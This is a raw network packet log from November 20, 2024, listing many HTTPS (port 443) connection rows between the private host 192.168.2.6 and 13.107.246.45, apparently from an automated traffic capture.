Nov 20, 2024 00:19:28.266062975 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.374456882 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.374584913 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.374618053 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.374643087 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.374672890 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.375226974 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.375251055 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.375289917 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.375297070 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.379211903 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.379231930 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.379311085 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.379445076 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.379457951 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.591490984 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.591973066 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.592000961 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.592509031 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.592514992 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.680636883 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.681169033 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.681180000 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.681621075 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.681626081 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.692643881 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.693133116 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.693152905 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.693456888 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.693460941 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.699748993 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.700023890 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.700093985 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.700129032 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.700139046 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.700150967 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.700155020 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.704246998 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.704262972 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.704325914 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.704495907 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.704507113 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.788383007 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.788829088 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.788846016 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.789434910 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.789439917 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.790014029 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.794173956 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.794222116 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.794250011 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.794256926 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.794265032 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.794269085 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.797627926 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.797663927 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.797734022 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.798074007 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.798094988 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.805172920 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.805902958 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.805965900 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.806015968 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.806022882 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.806051970 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.806056023 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.808339119 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.808362007 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.808428049 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.808557034 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.808567047 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.895176888 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.896770954 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.896816969 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.896822929 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.896879911 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.897221088 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.897227049 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.897237062 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.897241116 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.900304079 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.900329113 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.900470972 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.900587082 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.900599957 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.049320936 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.054346085 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.054359913 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.055053949 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.055058002 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.383868933 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.383918047 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.384182930 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.413074970 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.413074970 CET	49847	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.413081884 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.413089991 CET	443	49847	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.443959951 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.444001913 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.444117069 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.446158886 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.446177006 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.573632956 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.574680090 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.574680090 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.574695110 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.574702978 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.576452017 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.577193975 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.577227116 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.577245951 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.577351093 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.577361107 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.578533888 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.579193115 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.579204082 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.580645084 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.580648899 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.582813978 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.582813978 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.582828999 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.582839012 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.682153940 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.682416916 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.682445049 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.682537079 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.682830095 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.682830095 CET	49849	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.682846069 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.682856083 CET	443	49849	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.682903051 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.683094025 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.684029102 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.684029102 CET	49848	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.684036016 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.684043884 CET	443	49848	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.684444904 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.684503078 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.684823036 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.685159922 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.685173035 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.685195923 CET	49851	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.685204983 CET	443	49851	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.685414076 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.686475039 CET	49857	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.686491013 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.686500072 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.686542034 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.686614990 CET	49857	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.686615944 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.686929941 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.686934948 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.686964035 CET	49850	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.686968088 CET	443	49850	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.690983057 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.691005945 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.691816092 CET	49857	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.691827059 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.691857100 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.692477942 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.692488909 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.693521023 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.693527937 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.693664074 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.694017887 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.694025993 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.696384907 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.696405888 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:29.696532011 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.698513031 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:29.698527098 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.157233000 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.161186934 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.161186934 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.161206961 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.161215067 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.268624067 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.270320892 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.270540953 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.270617008 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.270617008 CET	49853	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.270636082 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.270646095 CET	443	49853	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.274267912 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.274286032 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.274557114 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.274822950 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.274832964 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.359716892 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.374515057 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.375812054 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.395656109 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.407092094 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.419158936 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.419481993 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.424381018 CET	49857	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.424392939 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.426862955 CET	49857	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.426867008 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.428706884 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.428714037 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.429344893 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.429358959 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.430918932 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.430924892 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.431510925 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.431523085 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.434201956 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.434206009 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.448641062 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.448647022 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.533801079 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.533828020 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.533870935 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.534032106 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.534147978 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.534233093 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.534256935 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.534300089 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.534300089 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.534372091 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.534612894 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.534632921 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.534689903 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.534888983 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.534900904 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.535033941 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.535033941 CET	49858	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.535043955 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.535053968 CET	443	49858	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.535185099 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.535185099 CET	49860	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.535198927 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.535208941 CET	443	49860	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.535351038 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.535396099 CET	49857	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.536010027 CET	49857	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.536014080 CET	443	49857	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.538578033 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.538619041 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.538705111 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539407969 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539422035 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.539469957 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539738894 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539762974 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.539815903 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539868116 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539885044 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.539978027 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539985895 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.539989948 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.539998055 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.540956974 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.540963888 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.541018963 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.541215897 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.541224957 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.547214031 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.548338890 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.548387051 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.548434973 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.548439026 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.548449993 CET	49859	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.548453093 CET	443	49859	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.551142931 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.551182985 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.551239014 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.551454067 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.551471949 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.941895008 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.942516088 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.942539930 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:30.943676949 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:30.943681955 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.047349930 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.047585964 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.047657013 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.049278975 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.049284935 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.049295902 CET	49861	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.049299955 CET	443	49861	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.066261053 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.066346884 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.066438913 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.066576004 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.066608906 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.203696012 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.204418898 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.204441071 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.205204010 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.205216885 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.205836058 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.205967903 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.206181049 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.206197977 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.206500053 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.206518888 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.206563950 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.206569910 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.206906080 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.206911087 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.212965012 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.213421106 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.213453054 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.214565992 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.214572906 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.231548071 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.231767893 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.231774092 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.233387947 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.233439922 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.234615088 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.234698057 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.234792948 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.234797955 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.241697073 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.241883039 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.241897106 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.242917061 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.242971897 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.243868113 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.243930101 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.244091988 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.244098902 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.283550978 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.284606934 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.309557915 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.310427904 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.310462952 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.310473919 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.310518980 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.310590029 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.310601950 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.310614109 CET	49866	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.310620070 CET	443	49866	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.311397076 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.311482906 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.311521053 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.311530113 CET	443	49864	13.107.246.45	192.168.2.6
